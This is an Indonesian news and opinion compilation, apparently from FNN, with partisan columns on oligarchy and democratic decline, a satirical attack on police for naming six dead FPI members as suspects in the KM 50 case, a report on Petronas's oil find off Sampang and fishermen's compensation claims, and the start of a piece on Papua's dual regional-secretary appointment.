secara umum. Beruntung, kebijakan ini lalu dianulir setelah mendapat respon keras sejumlah kalangan. Keberpihakan kepada pemilik modal pastilah semakin memperlebar jurang kesenjangan. Laporan Bank Dunia menyebut sebanyak 10% orang kaya memiliki 77% seluruh kekayaan negara. Sementara berdasarkan laporan Tim Nasional Percepatan Penanggulangan Kemiskinan (TP2K, Oktober 2019) menunjukkan bahwa 1% orang di Indonesia bisa menguasai 50% aset nasional. Jika dinaikkan jadi 10% keluarga maka ini menguasai 70%. Artinya sisanya 90% penduduk memperebutkan 30% sisanya. Dilema DPD RI Oligarki menjadi kian sempurna ketika lembaga legislatf sebagai pengawas pemerintahan menjadi bagian dari oligarki. Faktanya, partai-partai politik saat ini sebagian besar merupakan pendukung pemerintah. DPD RI sendiri, dalam posisinya yang lemah menjadi serba dilematis. Kita tahu, fungsi dan kewenangan DPD RI sangat terbatas. Jangankan menyuarakan aspirasi rakyat, untuk menyuarakan kepentingan DPD sendiri, terkadang masih menemui kendala. Sejumlah kalangan bahkan menyebut lembaga ini sebagai anak tiri senayan. Padahal, dalam konteks perlawanan terhadap oligarki, DPD RI punya nilai lebih. Pertama, wakil-wakil rayat yang duduk di lembaga ini bukan representasi partai politik dan oleh karena itu, sepak terjangnya relatif aman dari kepentingan partai dan oligarki. Kedua, memiliki legitimasi yang sangat kuat karena anggotanya dipilih langsung oleh rakyat provinsi yang diwakilinya. Tetapi tentu, DPD RI bukan berarti tidak dapat berbuat apa-apa. Banyak yang telah dilakukan. Hanya, dalam konteks mengurai benang kusut oligarki, upaya yang dilakukan menemui kendala ketika belum apa-apa sudah dipandang sebelah mata. Untuk mengefektifkan dirinya, sebagian Anggota DPD bersuara melalui kanal-kanal publik, baik melalui webinar, melalui tulisan di media massa, menggalang civil society, dan lain-lain. Hal pertama dan paling utama dijaga tentulah terlebih dahulu menjauh dari pusaran oligarki itu sendiri. Pemerintahan harus dikritisi secara proprsional, agar tidak jauh keluar dari jalur yang semestinya. Terlebih, berbagai persoalan sosial politik akhir-akhir ini merebak sebagai rangkaian sistem politik yang memihak oligarki, seperti praktik korupsi, pelanggaran HAM, dan lain-lain. Sementara itu, masyarakat dibuat saling menegasi pada aneka persoalan yang menjauhkan pikiran mereka dari peromlematika bangsa sesungguhnya. Reformasi lambat laun disandera oligarki dan secara langsung mengamputasi demokrasi. Bila tidak ada komitmen kuat dari kita semua, oligarki akan semakin menguat dan mencengkeram sendi-sendiri demokrasi kita hingga lumpuh tak berdaya.[] Penulis adalah anggota DPD RI

Oligarki Dan Demokrasi Anti Klimaks

by Tamsil Linrung Jakrta FFN- Demokrasi bisa naik, bisa juga turun. Bergantung pada banyak faktor. Musabab paling pokok adalah karakter dan gaya kepemimpinan. Bila pemimpinnya dzolim, demokrasi akan mati namun dibedaki seolah-olah demokrasi hidup. Membahas demokrasi Indonesia tidak bisa melepaskan diri dari sudut pandang kepemimpinan Presiden Jokowi. Namun sayangnya, di bawah kepemimpinan beliau, Indonesia tak cuma paceklik ekonomi, tetapi juga resesi demokrasi. Indeks demokrasi terburuk selama reformasi. Oligarki tumbuh sehat. Dinasti politik bahkan dimulai dari diri presiden sendiri. Anak dan menantu diberi ruang menjadi kepala daerah dari negara yang dipimpin oleh ayah dan mertua. Ini adalah sejarah pertama di Indonesia sekaligus cermin paling buruk dinamika demokrasi kita. Berlimpah ruah argumentasi demokratis yang dapat diajukan menjadi pembela. Tetapi, seorang negarawan sejati tak akan pernah membiarkan keluarganya duduk dalam tahta kepemimpinan daerah dari negeri yang dipimpinnya, karena berpotensi mengundang kontroversi, cemoohan dan persepsi buruk dari rakyat. Oligarki adalah musuh biadab demokrasi. Bukan hanya Covid-19, wabah oligarki juga menjadi pandemi dalam konteks politik Indonesia hari ini. Kemasan setiap pengambilan keputusan selalu dipoles seolah-olah demokratis. Tetapi esensinya tetaplah memperkuat oligarki. Politik turun-temurun adalah bagian dari wajah oligarki yang mencengkeram Indonesia hari-hari ini. Wajah politik turun temurun terlihat sejak awal pemerintahan periode kedua, selain dari terang benderangnya politik dinasti yang dipertontonkan di hadapan kita. Publik bisa meraba relasi oligarki kekuasaan dan politik turun temurun itu. Nikmat oligarki bahkan sempat menggelontorkan wacana amandemen UUD 1945 terkait Presiden tiga Periode. Saat itu, banyak yang bertanya-tanya, lompatan besar apa yang telah dilakukan sehingga wacana presiden tiga perode dimunculkan? Kolumnis produktif Tony Rasyid sempat mengulas berkali-kali tentang wacana yang sulit dijangkau akal sehat ini. Pertanyaan tersebut harus selalu diajukan agar fokus perhatian kita selalu berpulang kepada substansi. Kita tahu, sebagian dilema demokrasi Indonesia hari ini adalah fenomena buzzer politik. Siapa pun yang mengkritisi kebijakan pemerintah, buzzer selalu siap membela. Bila ada persoalan serius atau blunder politik, buzzer dengan cekatan mengalihkan perhatian publik. Anti Klimaks Indonesia punya catatan demokrasi yang panjang. Ada klimaks, ada anti klimaks. Hari ini kita berada pada ruang demokrasi anti klimaks. Anti klimaks itu ditandai oleh indeks demokrasi Indonesia yang semakin turun. The Economist Intelligence Unite menempatkan index demokrasi Indonesia pada rangking 64 dunia. Menjadi pencapain terburuk selama 14 tahun terakhir. Kita bahkan berada di bawah Malaysia dan Timor Leste, negara baru pecahan Indonesia. Penurunan index demokrasi tersebut terjadi seiring dengan menguatnya oligarki. Itu karena karena dua hal. Pertama, karena politik kita berbiaya mahal. Pemilihan Presiden ditengarai beberapa pihak mencapai triliunan rupiah. Angka ini fantastis dan sulit, bahkan mustahil dipenuhi oleh kandidat secara mandiri. Maka kandidat Pilpres berjejaring dengan para pengusaha, sehingga menjadi cikal bakal terbentuknya oligarki. Kedua, adanya Presidential Threshold (PT). Selain mengerdilkan demokrasi, juga menjadi sumber petaka oligarki. Untuk mengusung calon presiden, partai politik sejak awal harus bersekutu demi memenuhi ambang batas pencalonan. Padahal, ambang batas tak lebih dari keengganan partai politik besar memunculkan figur-figur alternatif dalam kontestasi Pilpres. Sebagai akibat dari fenomena itu adalah melemahnya kekuatan oposisi. Kita tahu, oposisi adalah nyawa demokrasi. Partai politik yang hari ini nyatanyata beroposisi terhadap pemerintah hanya Partai Keadilan Sejahtera. Dalam beberapa sikap, juga Partai Demokrat. Sementara rekonsiliasi politik yang beraroma elitis hanya menambah daftar panjang kuasa oligarki politik. Oligarki harus dilawan. Tidak boleh dibiarkan tumbuh subur, menjadi kanker ganas yang bisa menggerogoti demokrasi. Sebab, oligarki mereduksi partisipasi politik dan kedaulatan rakyat yang secara keseluruhan berujung pada tumbuhnya sikap anti demokrasi. Celakanya, sikap anti demokratis tersebut dapat merembes pada rakyat kebanyakan. Karena oligarki cenderung mengandalkan kekuatan finansial, suara rakyat dikalkulasi dalam nominal rupiah. Rakyat dididik melihat pesta demokrasi sebagai musim amplop. Rakyat hanya dibutuhkan sebagai stempel demokrasi semata. Usai memperoleh suara rakyat, pemerintahan yang tersandera oligarki cenderung tak memusatkan pikiran pada kesejahteraan mereka. Sebaliknya, oligarki justru memaksakan kehendak dengan produk-produk kebijakan yang menguntungkan investor. Salah satunya bisa kita lihat pada pengesahan UU Cipta Kerja yang mendapat pertentangan dari masyarakat kelas menengah dan buruh. Sebagai buntut UU yang ditengarai pro-investor tersebut, baru-baru ini lahir Peraturan Presiden nomor 10 Tahun 2021 yang memberikan izin investasi minuman keras di empat provinsi di Indonesia. Kebijakan tersebut seperti kacamata kuda. Hanya berfokus pada investor dengan harapan bisa mengatrol ekonomi bangsa yang sedang sulit. Tanpa mengaca kepada karakter umum manusia Indonesia secara umum. Beruntung, kebijakan ini lalu dianulir setelah mendapat respon keras sejumlah kalangan. Keberpihakan kepada pemilik modal pastilah semakin memperlebar jurang kesenjangan sosial. Laporan Bank Dunia menyebut sebanyak 10% orang kaya Indonesia memiliki 77% seluruh kekayaan negara. Sementara berdasarkan laporan Tim Nasional Percepatan Penanggulangan Kemiskinan (TP2K, Oktober 2019) menunjukkan bahwa 1% orang di Indonesia bisa menguasai 50% aset nasional. Jika dinaikkan jadi 10% keluarga maka ini menguasai 70%. Artinya sisanya 90% penduduk memperebutkan 30% kekayaan yang tersisa. Dilema DPD RI Oligarki menjadi kian sempurna ketika lembaga legislatf sebagai pengawas pemerintahan menjadi bagian dari oligarki. Faktanya, partai-partai politik saat ini sebagian besar merupakan pendukung pemerintah. Kenyataan ini sangat menghawatirkan masa depan demokrasi. DPD RI sendiri, dalam posisinya yang lemah menjadi serba dilematis. Kita tahu, fungsi dan kewenangan DPD RI sangat terbatas. Jangankan menyuarakan aspirasi rakyat, untuk dapat menyuarakan kepentingan DPD sendiri, terkadang masih menemui kendala. Sejumlah kalangan bahkan menyebut lembaga ini sebagai anak tiri senayan. Padahal, dalam konteks perlawanan terhadap oligarki, DPD RI punya nilai lebih. Pertama, wakil-wakil rayat yang duduk di lembaga ini bukan representasi partai politik dan oleh karena itu, sepak terjangnya relatif aman dari kepentingan partai dan oligarki. Kedua, memiliki legitimasi yang sangat kuat karena anggotanya dipilih langsung oleh rakyat provinsi yang diwakilinya. Tetapi tentu, DPD RI bukan berarti tidak dapat berbuat apa-apa. Banyak yang telah dilakukan. Hanya, dalam konteks mengurai benang kusut oligarki, upaya yang dilakukan menemui kendala ketika belum apa-apa sudah dipandang sebelah mata. Untuk mengefektifkan dirinya, sebagian Anggota DPD bersuara melalui kanal-kanal publik, baik melalui webinar, melalui tulisan di media massa, menggalang civil society, dan lain-lain. Hal pertama dan paling utama dijaga tentulah terlebih dahulu menjauh dari pusaran oligarki. Pemerintahan harus dikritisi secara proprsional, agar tidak terlalu jauh keluar dari jalur yang semestinya. Terlebih, berbagai persoalan sosial politik akhir-akhir ini merebak sebagai rangkaian sistem politik yang memihak oligarki, seperti praktik korupsi, pelanggaran Hak Asasi manusia HAM, dan lain-lain. Sementara itu, masyarakat dibuat saling menegasi pada aneka persoalan yang menjauhkan pikiran mereka dari peromlematika bangsa sesungguhnya. Reformasi lambat laun disandera oligarki dan secara langsung mengamputasi demokrasi. Bila tidak ada komitmen kuat dari kita semua, oligarki akan semakin menguat dan mencengkeram sendi-sendiri demokrasi kita hingga lumpuh tak berdaya. Penulis adalah Senator DPD RI.

Orang Mati di KM 50 Jadi Tersangka? Menyidik Alam Kubur

BADAN Reserse Kriminal (Bareskrim) Polri menetapkan enam Laskar Front Pembela Islam (FPI) yang terlibat dalam bentrok dengan polisi di jalan tol Jakarta-Cikampek (Japek) 7 Desember tahun lalu sebagai tersangka. Mereka tewas ditembak mati oleh polisi. Mereka dijerat sebagai tersangka lantaran diduga menyerang polisi. "Sudah ditetapkan tersangka, kan itu juga tentu harus diuji, makanya kami ada kirim ke Jaksa biar Jaksa teliti", kata Direktur Tindak Pidana Umum (Dirtidum) Bareskrim Polri, Brigadir Jenderal Andi Rian Djajadi saat dihubungi, Rabu (lihat CNNIndonesia.com, 3/3/2021). Duhai tuan Andi Rian, sudilah anda menghidupkan sedikit rasa hormat pada Allah Subhanahu Wata’ala, dengan akal sehatmu. Anda pasti tahu Allah Subhanahu Wata’ala, Tuhan Yang Maha Esa menyukai kejujuran. Dia, dengan pengetahuan yang tak terhingga semua terlihat dan tak terlihat. Anda harus tahu Allah, dengan kekuasaan yang tak terhingga itu menciptakan dunia dengan sangat logis. Tak ada pertentangan antara satu unsur dengan unsur lain yang dalam ciptaannya. Hubungan antar unsur itu harus logis pada setiap aspeknya. Tidak bisa ada unsur yang saling menyangkal. Anda tahu tuan Andi Rian, prinsip ini berlaku dalam dunia hukum. Dunia hukum itu dikenal prinsip expressio unius exclussio (mengekpresikan sesuatu, sama dengan mengesampingkan sesuatu yang lain). Ada pula prinsip qui de uno dicet, de altero negat (menyatakan menerima sesuatu, sama dengan mengesampingkan yang lain). Prinsip ini sama dengan yang dalam substansinya prinsip dorum et tertium, hubungan antar dua unsur yang tercipta karena terdapat proporsi yang sama. Jelaslah prinsip-prinsip universal hukum di atas, sangat tidak mungkin untuk dipakai menjelaskan penetapan orang mati jadi tersangka. Ini karena polisi juga akan menyidik polisi-polisi yang menembak mereka. Kan ini jelas, bakal saling menyangkal. Hal saling menyangkal itu hanya bisa diterima oleh orang gila, sinting, sombong dengan segala cabang-cabangnya. Hanya mereka. Orang waras tidak mungkin. Ini fatal, dan sangat memalukan norma di penegakan hukum di negeri tercinta ini. Polisi-Polisi di dunia akan menertawakan, mengolok-olok Polisi Indonesia. Masa ada orang mati jadi tersangka? Mereka akan mengatakan tindakan ini jelas-jelas sangat tolol, karena dibimbing dengan keangkuhan serta kebencian tak ada ujungnya. Hanya saja tuan Andi Rian, tolong jangan permalukan polisi Indonesia. Polisi Indonesia itu punya kita semua, rakyat negeri ini. Mari kita jaga kehormatan dan profesionalisme polisi kita. Kalau tuan Andi Rian tidak bisa menjaga kehormatannya, maka harap jangan dipermalukan kehormatan dan polisi negeri ini, karena ada melekat nama Indonesia itu. Tak akan ada Polisi waras di dunia yang tak terpana dengan tindakan ini. Mereka akan terpana, lalu bertanya-tanya, Polisi Indoneasia itu memiliki ilmu macam? Sehingga bisa membuat mereka bercakap-cakap dengan orang-orang mati itu. Apa itu merupakan temuan ilmu baru Polisi Indonesia di bawah Kapolri Jendral Sigit Prabowo? Anda, Polisi-Polisi di dunia, jangan minta kepada Kapolri Jendral Sigit menjelaskan soal hukumnya. Jangan bersandar pada ilmuan hukum sekelas Lon. L Fuller, ahli hukum yang mengagungkan hukum alam, moral dan etika. Lalu meminta Kapolri jendral Sigit menjelaskan rasionalitas orang mati menjadi tersangka. Jangan deh. Itu memalukan. Ini Indonesia tuan Andi Rian. Presidennya Joko Widodo, dan Kapolrinya Sigit, mantan ajudannya Joko Widodo. Anda jangan bilang Hitler, Musolini, Trostky, Noriega, dan lainnya yang tidak pernah bisa menemukan cara membuat orang mati jadi tersangka. Mereka sangat bisa untuk. Namun jangan bilang itu. Dunia mereka lain dengan dunia Indonesia di bawah Presiden Joko Widodo dan Kepolri Kapolri Sigit Prabowo. Kami boleh kalah membebek kepada banyak negara yang telah membeikan utang dan utang. Tetapi dalam soal bikin orang mati tersangka, anda negara pemberiutang itu harus belajar lagi pada Polisi Indonesia. Wahai para Polisi-Polisi di dunia, mohon jangan bilang kalau orang mati jadi tersangka itu adalah ketololan terbesar sepanjang sejarah dunia ini ada. Jangan-jangan, anda akan bisa juga dijadikan tersangka. Bayangkan, orang yang sudah mati saja masih bisa jadi tersangka, apalagi yang belum mati? Anda jangan pernah berpikir bahwa jarak anda dengan Indonesia jauh, sehingga Polisi Indonesia tidak bisa menjangkau anda. Bayangkan, di alam kubur pun Polisi Indonesia masih bisa menjangkau. Apalagi di alam dunia? Coba bisakah anda ukur jauhnya jarak antara alam dunia dengan alam kubur itu? Tentu saja tidak bisa. Tetapi itu anda, tidak untuk polisi Indonesia. Wahai Kapolri Jendral Listyo Sigit, tolonglah berbagil ilmu tentang cara mengukur jarak antara alam dunia dengan alam kubur dengan koleha-koleha anda di luar negeri. Ini ilmu yang benar-benar orisinil. Ilmu baru dalam semua aspeknya. Pertama, dan hanya ada dalam sejarah dunia Polisi dan hukum di Indonesia. Tolong kasih dasar-dasar ilmu hukum pidana tentang pertanggung jawaban pidana bagi orang mati. Hukum pidana di dunia, sejak dari jaman batu sampai dengan anda sekarang ini, semuanya menunjuk mati sebagai alasan pengapus pidana. Tidak ada hukum di dunia ini yang membebankan tanggungn jawab pidana kepada orang yang mati. Jadi wahai Kapolri Jendral Listyo Sigit, sudilah kiranya, anda dengan semua ilmu yang ada, menjelaskan kepada dunia tentang ilmu pertangung jawaban pidana untuk orang mati. Kalau anda mengalami kesulitan, anda bisa minta bantuan Brigjen Andi Rian dan Kabareskrim. Oh ya, jangan ampai anda lupakan Irjen Polisi Fadil Imran. Bila perlu anda lupakan saja dulu Brigjen Andi dan Komjen Agus Andrianto. Mungkin atau gantikan saja dulu mereka berdua dengan Irjen Polisi Fadil Imran. Bila perlu anda dapat meminta Irjen Polisi Fadil Imran menunjukan cara-cara berbicara dengan orang mati. Tanyakan juga bagaimana cara menghadirkan orang mati di ruang pemeriksaan. Kalau tidak bisa dihadirkan di ruang pemeriksaan, coba tanyakan kepada Fadil, bagaimana cara masuk ke alam kubur dan memeriksa mereka disana? Bahkan untuk mudahnya, jadikan saja Kapolda Metro Jaya ini menyidik mereka. Selain dapat menyebut “assalamualaikum ya ahlul kubur”, mungkin Fadil Imran juga punya perbendaharaan lain untuk berbincang-bincang dengan mereka. Bincangnya pasti berkisar hal-hal yang teknis. Misalnya, wahai ahlul kubur, apakah anda dalam keadaan sehat? Bersediakah diperiksa dan seterusnya? Jadi, Kapolri Pak Jendral Listyo Sigit, untuk sementara suruh saja Fadil Imran menjadi penyidik kasus ini. Supaya anak buah anda di Bareskrim tidak kepayahan merancang pertanyaan. Siapa tahu, kesempatan itu juga dapat digunakan Fadil Imran menanyakan kepada para laskar yang telah almarhum itu keadaan Ibunda tercinta yang belum lama berpulang kaharibaan Allah Subhanahu Wata’ala. Innalillahi Wainnailaihi Roajiun. Semoga ibunda Fadil dimaafkan segala kesalahannya, diterima semua amal ibadahnya, dan dimasukan ke dalam syurganya Allah Allah Subhaanahu Wata’ala, amin amin amin. Hal yang pasti adalah para anggota laskar FPI yang telah almarhum itu tidak bakal bisa bicara. Mereka tak bisa menerangkan bagaimana keadaan Almarhumah Ibunda Fadil Imran tercinta. Itu sudah pasti. Sebab masing-masing almarhum dan almarhumah akan berurusan dengan urusannya sendiri-sendiri. Orang-orang berhati mulia tahu bahwa ditersangkakannya para almarhum adalah cara Allah Subhaanahu Wata’ala, yang dalam kuasa-Nya atas semua ruh. Allah Subhaanahu Wata’ala yang dalam kuasa-Nya semua urusan manusia bermula dan berakhir, sedang bekerja dengan cara-Nya membuka tabir hitam peristiwa kilometer 50 tersebut. Allah Subhaanahu Wata’ala bakal membuka dengan cara-Nya, menghadirkan keadaan yang mengakibatkan hamba-hambanya yang sombong dan penuh benci berbuat hal-hal tidak logis dan aneh. Menetapkan penyerangan terhadap polisi menjadi tersangka, lalu polisi penembak mereka, sehingga meninggal dunia, itu tak logis. Itu juga konyol. Begitulah cara Allah Subhaanahu Wata’ala menyingkap tabir, menyodorkan kebenaran, mendekatkan hal yang memalukan sedekat nafas pada orang yang Allah Subhaanahu Wata’ala tahu sebagai pelaku. Dia menunjukan kalau sepintar-pintarnya manusia, kepintaran mereka tak bakal sebesar biji zarrah untuk Allah Subhaanahu Wata’ala yang Maha Tahu, dan menjadi sebab sebab kebenaran itu hadir dan nyata. Tuan Kapolri dan tuan Fadil Imran, anda pasti tidak maha tahu. Yang Maha Tahu itu miliki Allah Subhaanahu Wata’ala. Bukan kalian. Terlalu mudah bagi Allah Subhaanahu Wata’ala untuk menyingkp hijab, sehinga hal-hal yang tadinya tersembunyi, datang menyapa dengan mudah. Terlalu mudah bagi Allah Subhaanahu Wata’ala membolak-balik keadaan. Tuan Fadil tahu Sayidina Ummar Bin Khattab radiallahu anhu? Umar, lelaki terhormat dan terkenal kuat dengan sikap kerasnya, setelah menemukan kenyataan bahwa adik perempuannya telah memeluk Islam dan sedang membaca ayat Al-qur’an, Umar hendak membunuh Rasulullah Sallalahu Alaihi Wasallam? Apa yang terjadi setelah Umar jumpa Al-mustafa Muhammad Sallallahu Alaihi Wasallam? Umar malah berikar untuk memeluk Islam. Pembaca FNN yang budiman, subhanallah, Allah Maha besar. Enam laskar ditetapkan jadi tersangka. Tetapi polisi juga hendak menyidik Polisi penembak mereka. Tidakkah tindakan ini memiliki hikmah? Logiskah kepercayaan diberikan kepada Polisi menyidik kasus ini? Biarkan saja kepercayaan itu menjadi cerita novel-novel dunia hukum kita kelak. Biarkan saja obyektifitas menyingkir sejauh mungkin dari kasus ini. Serahkan saja kebenaran kasus ini pada Allah Allah Subhaanahu Wata’ala yang Maha Benar, dan Maha Tahu. Allah Subhaanahu Wata’ala yang adil dengan kebenarannya yang tak terhingga. Allah Subhaanahu Wata’ala juga tahu dengan keadilannya yang tak tertimbang untuk semua mahluk. Cukuplah bangsa ini memetik hikmah dari ditersangkakan para almarhum. Biarkan saja orang ini menulis keadilan mereka dalam kasus ini. Jangan minta keadilan lebih dari yang ada sekarang. Ini hanya keadilan artificial semata, yang rapuh serapuh-rapuhnya. Percayalah, kebenaran dan keadilan sejati akan mendatangi kasus ini dengan caranya sendiri.

Sumber Migas Baru Ditemukan, Nelayan Sampang Tagih Janji!

by Mochamad Toha Surabaya, FNN - Seperti yang pernah saya tulis bahwa Pulau Madura Kaya Migas! “Saya sudah survei pulau-pulau di Indonesia, Madura itu terkaya,” ungkap seorang surveyor migas perusahaan asing di Balikpapan. Ia menyebut, Madura itu pulau terkaya dengan migasnya. Data Ikatan Ahli Geologi Indonesia (IAGI) menyebutkan, Pulau Madura memiliki sekitar 104 blok sumber minyak dan gas bumi (migas). Dan baru 12 blok diantaranya yang dieksploitasi. Blok ke-12 ini terletak di Kecamatan Raas, Kabupaten Sumenep. Kali ini, Petronas, perusahaan migas asal Negeri Jiran Malaysia melalui anak perusahaannya, Petronas Carigali North Madura II Ltd. berhasil menemukan cadangan minyak di Wilayah Kerja North Madura II, lepas pantai utara Kabupaten Sampang. Seperti dilansir Tempo.co, Rabu (24 Februari 2021 20:47 WIB), hal tersebut didapat saat melakukan pengeboran sumur Eksplorasi Hidayah-1 yang awalnya dimulai per 7 Januari 2021. Pengeboran sumur Hidayah-1 merupakan salah satu dari kegiatan komitmen pasti Wilayah Kerja North Madura II. Target kegiatan adalah menyentuh Formasi Ngimbang Carbonate, dengan besaran sumber daya inplace sebesar 158 juta barel minyak (MMBO). Adapun pada kegiatan pengeboran ini, kedalaman keseluruhan sumur Hidayah-1 berada pada kedalaman 2.739 meter. Setelah melakukan pengeboran berjalan 57 hari, Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas) dan Petronas Carigali North Madura II Ltd. melakukan 1 interval drill steam test (DST). Hal ini dilakukan untuk mengetahui laju alir serta data reservoir pada Formasi Ngimbang dan berhasil menemukan hidrokarbon berupa minyak dengan lajur alir awal ~2.100 barel minyak per hari (BOPD). Saat ini, SKK Migas masih melakukan analisa akhir untuk menentukan jumlah sumberdaya. “Tetapi ini adalah temuan yang sangat menggembirakan setelah sebagian besar temuan kami berupa gas,” ungkap Deputi Perencanaan SKK Migas, Jaffee A. Suardin. Dikutip dari siaran pers SKK Migas di Jakarta, Rabu, 24 Februari 2021, Jaffee menyebutkan bahwa keberhasilan penemuan cadangan minyak itu tidak saja menggembirakan, juga akan memotivasi insan hulu migas. Untuk lebih bersemangat menemukan potensi migas di berbagai wilayah kerja di Indonesia. Selain itu, kata Jaffee, “penemuan cadangan minyak tersebut akan menjadi pondasi yang kokoh bagi upaya penemuan lainnya.” Hal ini penting karena pemerintah dan seluruh pemangku kepentingan harus bersama-sama berkomitmen mewujudkan visi produksi 1 juta barel minyak dan 12 miliar standar kaki kubik per hari (BSCFD) gas bumi pada 2030. Lewat anak usahanya, Petronas Carigali North Madura II Ltd, yang wilayah kerja itu dikelola sejak 2015 dan kontraknya berakhir pada 2045, Petronas menemukan cadangan minyak di wilayah kerja North Madura II di lepas pantai Madura, sebesar 158 juta barel. Lewat pengeboran sedalam 2.739 meter, ditemukan cadangan minyak di sumur Hidayah-1. Dari pengujian yang dilakukan, laju pengurasan minyak diperkirakan sebanyak 2.100 barel per hari. ”Saat ini kami masih menganalisis untuk menentukan berapa jumlah sumber daya minyak di sumur tersebut. Namun, temuan ini sangat menggembirakan setelah eksplorasi sebelumnya sebagian besar hanya berupa gas,” lanjut Jaffee. Ia menambahkan, penemuan itu akan mendukung target produksi minyak yang ditetapkan pemerintah sebesar 1 juta barel per hari pada 2030. Pada tahun yang sama, pemerintah juga menargetkan produksi gas bumi 12 miliar standar kaki kubik per hari (BSCFD). ”Penemuan cadangan minyak di blok tersebut harus memberi manfaat bagi pemerintah daerah dan masyarakat setempat setelah cadangan itu bisa diproduksi,” kata Jaffee, seperti dikutip Kompas.com, Rabu (24 Februari 2021 15:28 WIB). Sebelumnya, dalam rapat kerja di Komisi VII DPR, Menteri Energi dan Sumber Daya Mineral (ESDM) Arifin Tasrif mengungkapkan, tanpa ada penemuan baru berskala besar, sumber daya minyak mentah di Indonesia hanya cukup diproduksi kurang dari 10 tahun. Adapun sumber daya gas bumi cukup diproduksi sampai 20 tahun ke depan. Saat ini tingkat produksi minyak mentah Indonesia 700 barel per hari, sementara itu produksi gas bumi 6 BSCFD. Salah satu cara yang dilakukan untuk menaikkan minat investor hulu migas adalah dengan memberi keleluasan skema kontrak, apakah mau memilih gross split (bagi hasil berdasar produksi bruto) atau cost recovery (biaya operasi yang dapat dipulihkan). Sementara itu, Pelaksana Tugas Kepala Divisi Program dan Komunikasi SKK Migas Susana Kurniasih menyebut, realisasi investasi hulu migas di Indonesia pada Januari 2021 sebesar 873,2 juta dollar AS atau sekitar 7 persen dari target investasi tahun ini. Realisasi investasi tersebut lebih baik dibandingkan dengan Januari 2020 yang sebesar 767,5 juta dollar AS. Tanpa ada penemuan baru berskala besar, sumber daya minyak mentah di Indonesia hanya cukup diproduksi kurang dari 10 tahun. Adapun sumber daya gas bumi cukup diproduksi sampai 20 tahun ke depan. Investasi itu untuk mendukung eksplorasi yang dikerjakan Pertamina EP, Pertamina Hulu Mahakam, ENI East Sepinggan, Pertamina Hulu Kalimantan Timur, dan Pertamina Hulu Energi OSES. Selain eksplorasi, investasi itu juga untuk kegiatan pengembangan sumur. Mengacu data SKK Migas, nilai investasi hulu migas di Indonesia terus menurun sejak lima tahun lalu. Besaran investasi pada 2015 adalah 15,3 miliar dollar AS dan menurun menjadi 10,3 miliar dollar AS di 2017. Secara perlahan naik hingga menjadi 11,8 miliar dollar AS pada 2019. Pada 2020, realisasi investasi hulu migas 10,21 miliar dollar AS atau lebih rendah dari target 12,1 miliar dollar AS. Tahun ini, pemerintah menargetkan produksi siap jual (lifting) minyak 705.000 barel per hari dan lifting gas 1,007 juta barel setara minyak per hari. Pemerintah akan menghadapi tantangan berat dalam rangka mencapai target 1 juta barel per hari pada 2030. Eksplorasi harus digiatkan demi menemukan sumber cadangan minyak yang baru. Ditagih Nelayan Sekitar 158 nelayan pantura Sampang yang tergabung dalam Aliansi Nelayan Terdampak (ANT) mempertanyakan realisasi pembayaran kompensasi alat tangkap (Rumpon) pada nelayan terdampak sumur Eksplorasi Hidayah-1 PC North Madura II Ltd. Seperti dikutip dari Lingkarjatim.com, Kamis (February 25, 2021), tercatat ada 279 rumpon terdampak yang sebelumnya dianggarkan Rp 1.674.000.000, oleh perusahaan asal Malaysia itu, diminta lebih terbuka dan transparan. Hal tersebut disampaikan oleh perwakilan ANT, Muhlis. Ia mengungkapkan bahwa sampai saat ini, ganti rugi rumpon milik nelayan yang rusak atau hilang akibat aktivitas pengeboran tersebut masih belum beres. “Ada nelayan yang harusnya mendapat ganti rugi uang sebesar Rp 6 juta sesuai ketentuan, tapi masih menerima Rp 4 juta,” katanya. Pihaknya berharap Petronas melalui PC North Madura II Ltd, segera merealisasikan apa yang menjadi hak para nelayan yang terdampak tersebut. Terlebih, informasi yang berkembang, perusahaan pengeboran tersebut telah menemukan sumber minyak di sekitar rumpon berada. “Selain kami mensyukuri ketersediaan SDA ini, kami juga berharap pihak terkait untuk memenuhi permintaan masyarakat terdampak,” harapnya. Sebelumnya, Anggota Komisi II DPRD Sampang Agus Husnul Yaqin meminta agar semua aspirasi dan usulan yang disampaikan nelayan dalam audiensi tersebut bisa ditindaklanjuti oleh Petronas. Sehingga, hubungan antara Petronas dengan Pemerintah Daerah, utamanya dengan nelayan terdampak bisa terus terjalin dengan baik. Mulai dari ganti rugi rumpon, bantuan CSR hingga dana Partisipacing Interest (PI) yang wajib diterima Pemda. Sementara itu, Hendrayana perwakilan dari Petronas enggan berkomentar banyak. Ia hanya mengatakan, jika semua aspirasi dan usulan yang disampaikan Aliansi Nelayan Terdampak (ANT) akan dibahas dalam rapat internal perusahaan. Rencananya pihak DPRD Sampang juga akan melaksanakan kegiatan workshop. Semua perwakilan nelayan dari Banyuates, Ketapang, dan Sokobanah akan diundang. Penulis adalah Wartawan Senior FNN.co.id.

Sekda Papua, Defacto Doren Wakerkwa, Dejure Dance Flassy

by Marthen Goo Nabire FNN - Pelantikan Sekretaris Daerah (Sekda) Papua pada 1 Maret 2021 dilakukan langsung secara bersamaan kepada dua individu yang berbeda. Yang satu dilantik oleh Pemerintah Pusat, dan satu lagi dilantik oleh Pemerintah Daerah. Mungkin ini fenomenal unik, dan sepanjang berdirinya republik Indonesia adalah sejarah baru. Karena baru pertama kali terjadi. Jadi, kalau begini caranya pemerintah mengelola negara yang kaya ini, bagimana bisa dijadikan contoh yang baik kepada publik? Mungkin menambah cerita bahwa hanya di Indonesia saja, hal-hal yang seperti ini bisa terjadi. Yang tadinya tidak mungkin, bisa berubah menjadi mungkin. Malahnya, Menteri Dalam Negeri melantik Dance Y. Flassy sebagai Sekda Propinsi Papua versi pemerintah pusat. Namun pada saa yang bersamaan Wakil Gubernur Propinsi Papua melantik Doren Wakerkwa sebagai Sekda Propinsi Papua versi pemerintah propinsi. Pro dan kontra menjadi tontonan yang sangat fatal, namun juga menarik. Apalagi sampai tercipta dua kubu pendukung yang dikawatirkan saling berhadap-hadapan. Bisa saja berpotensi menciptakan konflik horizontal antara para pendukung. Belum lagi saling tidak percaya yang berkepanjangan. Terkait kasus seperti ini, mestinya pemerintah pusat arif dan bijaksana. Hal-hal yang turut menciptakan kegaduan harusnya ditutupi dan dihindari. Pemerintah pusat seharusnya lebih professional dalam mengurai persoalan-persoalan seperti ini. Bukannya malah menciptakan kegaduhan baru di Papua. Kalau begini polanya, kapan Papua bisa tenang? Pemerintah Pusat harusnya merujuk pada kepastian hukum. 